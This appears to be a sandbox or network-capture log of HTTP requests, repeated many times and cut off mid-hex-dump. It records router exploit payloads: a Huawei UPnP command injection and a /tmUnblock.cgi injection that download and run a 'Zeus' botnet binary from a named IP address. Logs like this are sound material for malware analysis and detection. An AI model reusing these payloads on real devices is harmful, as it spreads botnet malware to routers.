Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 